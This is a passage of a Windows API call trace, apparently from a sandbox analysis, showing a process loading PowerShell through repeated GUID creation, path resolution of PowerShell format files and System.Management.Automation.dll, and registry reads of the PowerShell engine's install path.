lpBuffer=0x27cb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.305] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x2de44d78, Data2=0xa8f1, Data3=0x4e13, Data4=([0]=0x80, [1]=0xd3, [2]=0x4c, [3]=0xdf, [4]=0xc2, [5]=0x6, [6]=0x64, [7]=0x14))) returned 0x0 [0062.306] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x622dab3c, Data2=0x81ba, Data3=0x420e, Data4=([0]=0x9d, [1]=0xd1, [2]=0x2d, [3]=0x68, [4]=0xd4, [5]=0x67, [6]=0xf5, [7]=0xf0))) returned 0x0 [0062.307] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xae5f3407, Data2=0x38f0, Data3=0x40d3, Data4=([0]=0x87, [1]=0x60, [2]=0xb5, [3]=0xc2, [4]=0x41, [5]=0x4d, [6]=0x25, [7]=0x7))) returned 0x0 [0062.308] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x56bcb3ec, Data2=0x16c3, Data3=0x468f, Data4=([0]=0x8c, [1]=0x72, [2]=0x75, [3]=0x86, [4]=0xf6, [5]=0x57, [6]=0x96, [7]=0x9f))) returned 0x0 [0062.309] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xf78f2a8a, Data2=0x8f1f, Data3=0x483a, Data4=([0]=0x8c, [1]=0xd7, [2]=0xd2, [3]=0xfd, [4]=0xf4, [5]=0x2f, [6]=0x7d, [7]=0x8a))) returned 0x0 [0062.310] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x4adb84b3, Data2=0xbc30, Data3=0x4fa4, Data4=([0]=0x9c, [1]=0x7b, [2]=0xdd, [3]=0xf, [4]=0x16, [5]=0x77, [6]=0xbb, [7]=0xa7))) returned 0x0 [0062.312] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x62d5e166, Data2=0xec21, Data3=0x4b76, Data4=([0]=0x89, [1]=0x80, [2]=0x5, [3]=0xcb, [4]=0x5c, [5]=0x90, [6]=0x4d, [7]=0x78))) returned 0x0 [0062.315] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x4e14fbc4, Data2=0x8f92, Data3=0x413e, Data4=([0]=0x8e, [1]=0x69, [2]=0x9a, [3]=0xc0, [4]=0x1f, [5]=0x37, [6]=0xd2, [7]=0xc8))) returned 0x0 [0062.316] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xbc7c058e, Data2=0x5055, Data3=0x4f42, Data4=([0]=0x94, [1]=0x10, [2]=0xef, [3]=0x46, [4]=0xed, [5]=0x5a, [6]=0xec, [7]=0xef))) returned 0x0 [0062.317] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x33a6986f, Data2=0x538c, Data3=0x4ac0, Data4=([0]=0x88, [1]=0x26, [2]=0x89, [3]=0x30, [4]=0x12, [5]=0x8c, [6]=0x33, [7]=0x95))) returned 0x0 [0062.318] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6b4d6cb, Data2=0x35d9, Data3=0x4b99, Data4=([0]=0x87, [1]=0x7d, [2]=0x69, [3]=0x12, [4]=0x60, [5]=0xc7, [6]=0x8c, [7]=0xb4))) returned 0x0 [0062.319] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xedd168fa, Data2=0xaa18, Data3=0x41ec, Data4=([0]=0xb5, [1]=0x86, [2]=0x8c, [3]=0x2a, [4]=0x50, [5]=0x41, [6]=0x52, [7]=0x1e))) returned 0x0 [0062.326] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x7bccdd51, Data2=0x652, Data3=0x43d8, Data4=([0]=0x97, [1]=0x46, [2]=0xe0, [3]=0x99, [4]=0xc5, [5]=0xb5, [6]=0x79, [7]=0x1d))) returned 0x0 [0062.327] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x8ed72d2d, Data2=0xbf61, Data3=0x41df, Data4=([0]=0x93, [1]=0x8b, [2]=0xe7, [3]=0x58, [4]=0x8e, [5]=0x49, [6]=0x19, [7]=0x87))) returned 0x0 [0062.329] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x9aa4b422, Data2=0xefe, Data3=0x4da8, Data4=([0]=0x95, [1]=0x0, [2]=0xcc, [3]=0x23, [4]=0xa9, [5]=0x4a, [6]=0xf0, [7]=0x71))) returned 0x0 [0062.330] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x67211e3e, Data2=0xf47a, Data3=0x4189, Data4=([0]=0x80, [1]=0xb7, [2]=0xa4, [3]=0x24, [4]=0x1e, [5]=0xf8, [6]=0x69, [7]=0x66))) returned 0x0 [0062.331] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xec0090ab, Data2=0x987b, Data3=0x469b, Data4=([0]=0xae, [1]=0xbb, [2]=0x6b, [3]=0x9, [4]=0xa3, [5]=0x66, [6]=0x72, [7]=0x8b))) returned 0x0 [0062.333] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x8b3d6b3e, Data2=0xf7ea, Data3=0x455d, Data4=([0]=0x81, [1]=0x4d, [2]=0x94, [3]=0x62, [4]=0xf5, [5]=0xb0, [6]=0x29, [7]=0x79))) returned 0x0 [0062.334] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x4738b729, Data2=0x9cf4, Data3=0x4953, Data4=([0]=0x9f, [1]=0xd2, [2]=0xdd, [3]=0xab, [4]=0x1c, [5]=0xc5, [6]=0xd1, [7]=0x99))) returned 0x0 [0062.335] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xbd949989, Data2=0xe6d0, Data3=0x4981, Data4=([0]=0x8f, [1]=0xba, [2]=0x9, [3]=0x96, [4]=0x39, [5]=0xed, [6]=0x5a, [7]=0x7d))) returned 0x0 [0062.336] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x897d962f, Data2=0x5c0f, Data3=0x4003, Data4=([0]=0xa6, [1]=0xa6, [2]=0xec, [3]=0x5e, [4]=0xce, [5]=0xcb, [6]=0xdb, [7]=0x3a))) returned 0x0 [0062.337] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x2e3a040e, Data2=0x61c6, Data3=0x44e6, Data4=([0]=0xa1, [1]=0xbb, [2]=0xeb, [3]=0xab, [4]=0xe2, [5]=0xf0, [6]=0xb8, [7]=0x19))) returned 0x0 [0062.339] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x7814492f, Data2=0x794e, Data3=0x48d3, Data4=([0]=0xac, [1]=0xa9, [2]=0x3e, [3]=0x56, [4]=0xbc, [5]=0xeb, [6]=0x9e, [7]=0x49))) returned 0x0 [0062.340] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xe25e2dd6, Data2=0x1e1c, Data3=0x41d8, Data4=([0]=0x94, [1]=0xd6, [2]=0x72, [3]=0xcd, [4]=0xfe, [5]=0xf5, [6]=0xc3, [7]=0x5f))) returned 0x0 [0062.340] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x102ec627, Data2=0xedd0, Data3=0x4040, Data4=([0]=0xb5, [1]=0xe0, [2]=0x68, [3]=0x55, [4]=0xfc, [5]=0xf4, [6]=0x2d, [7]=0xf4))) returned 0x0 [0062.341] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x91444c07, Data2=0x742f, Data3=0x410b, Data4=([0]=0x9c, [1]=0xbd, [2]=0xe1, [3]=0x72, [4]=0x54, [5]=0xf3, [6]=0x64, [7]=0xd2))) returned 0x0 [0062.343] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x5746b13d, Data2=0xee49, Data3=0x4dd4, Data4=([0]=0x92, [1]=0xf9, [2]=0xfa, [3]=0x9, [4]=0xfc, [5]=0xe6, [6]=0xa, [7]=0x3d))) returned 0x0 [0062.344] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xe4532626, Data2=0xa683, Data3=0x46c7, Data4=([0]=0x80, [1]=0x3d, [2]=0xa2, [3]=0xb4, [4]=0x62, [5]=0x67, [6]=0x12, [7]=0x16))) returned 0x0 [0062.345] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x712796c7, Data2=0x938b, Data3=0x4600, Data4=([0]=0xaa, [1]=0x3d, [2]=0x42, [3]=0xd7, [4]=0x4f, [5]=0x36, [6]=0xad, [7]=0xe5))) returned 0x0 [0062.346] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x5ac925f5, Data2=0x4eb2, Data3=0x409a, Data4=([0]=0xa2, [1]=0x4a, [2]=0x6c, [3]=0x29, [4]=0xe, [5]=0x2f, [6]=0x33, [7]=0x60))) returned 0x0 [0062.346] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd0dc055f, Data2=0xdd7f, Data3=0x4f41, Data4=([0]=0xaa, [1]=0x55, [2]=0xd8, [3]=0xe2, [4]=0x2b, [5]=0xfd, [6]=0x73, [7]=0xcc))) returned 0x0 [0062.347] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x45ef2adb, Data2=0x7b14, Data3=0x4b69, Data4=([0]=0x99, [1]=0xc, [2]=0x10, [3]=0x1f, [4]=0x89, [5]=0x4b, [6]=0x47, [7]=0xdd))) returned 0x0 [0062.349] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6e9f8629, Data2=0xf345, Data3=0x435a, Data4=([0]=0xb3, [1]=0xd7, [2]=0xbe, [3]=0xc0, [4]=0xba, [5]=0x60, [6]=0x44, [7]=0x6c))) returned 0x0 [0062.350] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xc67d909c, Data2=0xbb57, Data3=0x44e1, Data4=([0]=0x8e, [1]=0x84, [2]=0x66, [3]=0xb1, [4]=0xe3, [5]=0x11, [6]=0x4f, [7]=0xbc))) returned 0x0 [0062.350] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xfdc2f4c9, Data2=0x7122, Data3=0x4223, Data4=([0]=0xb6, [1]=0x95, [2]=0x69, [3]=0x98, [4]=0xf3, [5]=0x2b, [6]=0x85, [7]=0x8a))) returned 0x0 [0062.352] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xe426f3a6, Data2=0x16a2, Data3=0x40e0, Data4=([0]=0xbc, [1]=0x49, [2]=0xa, [3]=0xc7, [4]=0xd0, [5]=0xc9, [6]=0xf, [7]=0x28))) returned 0x0 [0062.361] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xbb6f6ac7, Data2=0xcfea, Data3=0x4dab, Data4=([0]=0xa6, [1]=0xcb, [2]=0x15, [3]=0x7f, [4]=0x80, [5]=0x63, [6]=0xaa, [7]=0xaa))) returned 0x0 [0062.361] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27ca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.363] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.363] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.364] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d048 | out: phkResult=0x27d048*=0x308) returned 0x0 [0062.364] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cfcc, lpData=0x0, lpcbData=0x27cfc8*=0x0 | out: lpType=0x27cfcc*=0x1, lpData=0x0, lpcbData=0x27cfc8*=0x56) returned 0x0 [0062.364] CoTaskMemAlloc (cb=0x5a) returned 0x1b789150 [0062.364] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cf9c, lpData=0x1b789150, lpcbData=0x27cf98*=0x56 | out: lpType=0x27cf9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27cf98*=0x56) returned 0x0 [0062.364] CoTaskMemFree (pv=0x1b789150) [0062.364] RegCloseKey (hKey=0x308) returned 0x0 [0062.364] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.364] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.365] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.365] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.365] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.366] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x9f95ad4, Data2=0x27ab, Data3=0x41cb, Data4=([0]=0x8d, [1]=0x28, [2]=0x9d, [3]=0xb0, [4]=0xfb, [5]=0x72, [6]=0x6e, [7]=0x40))) returned 0x0 [0062.366] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6fc02daf, Data2=0xef8b, Data3=0x459f, Data4=([0]=0x95, [1]=0x27, [2]=0xc8, [3]=0xe9, [4]=0xe0, [5]=0x76, [6]=0xfd, [7]=0xe8))) returned 0x0 [0062.366] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd0678787, Data2=0xc45d, Data3=0x4bd0, Data4=([0]=0xa9, [1]=0xb2, [2]=0xd2, [3]=0x0, [4]=0xf6, [5]=0xed, [6]=0xcd, [7]=0x37))) returned 0x0 [0062.366] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x7843a2f6, Data2=0x59ab, Data3=0x4c4c, Data4=([0]=0xbe, [1]=0x4e, [2]=0x57, [3]=0xf2, [4]=0x5d, [5]=0x46, [6]=0x2f, [7]=0x14))) returned 0x0 [0062.367] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27ca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.372] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.373] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.373] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d048 | out: phkResult=0x27d048*=0x308) returned 0x0 [0062.373] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cfcc, lpData=0x0, lpcbData=0x27cfc8*=0x0 | out: lpType=0x27cfcc*=0x1, lpData=0x0, lpcbData=0x27cfc8*=0x56) returned 0x0 [0062.373] CoTaskMemAlloc (cb=0x5a) returned 0x1b789150 [0062.373] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cf9c, lpData=0x1b789150, lpcbData=0x27cf98*=0x56 | out: lpType=0x27cf9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27cf98*=0x56) returned 0x0 [0062.373] CoTaskMemFree (pv=0x1b789150) [0062.373] RegCloseKey (hKey=0x308) returned 0x0 [0062.373] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.373] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.380] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x990857a7, Data2=0x1b9e, Data3=0x4725, Data4=([0]=0x89, [1]=0x30, [2]=0x5d, [3]=0xe9, [4]=0xd1, [5]=0xd0, [6]=0x9a, [7]=0x5d))) returned 0x0 [0062.381] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x90703615, Data2=0xfe0b, Data3=0x4077, Data4=([0]=0x95, [1]=0xb8, [2]=0x12, [3]=0x8, [4]=0x83, [5]=0x67, [6]=0x73, [7]=0x2b))) returned 0x0 [0062.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.464] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x632143d5, Data2=0x93ab, Data3=0x4731, Data4=([0]=0xab, [1]=0x4d, [2]=0x4b, [3]=0x63, [4]=0xb8, [5]=0x5f, [6]=0xf4, [7]=0x16))) returned 0x0 [0062.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.466] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.467] GetFullPathNameW (in: 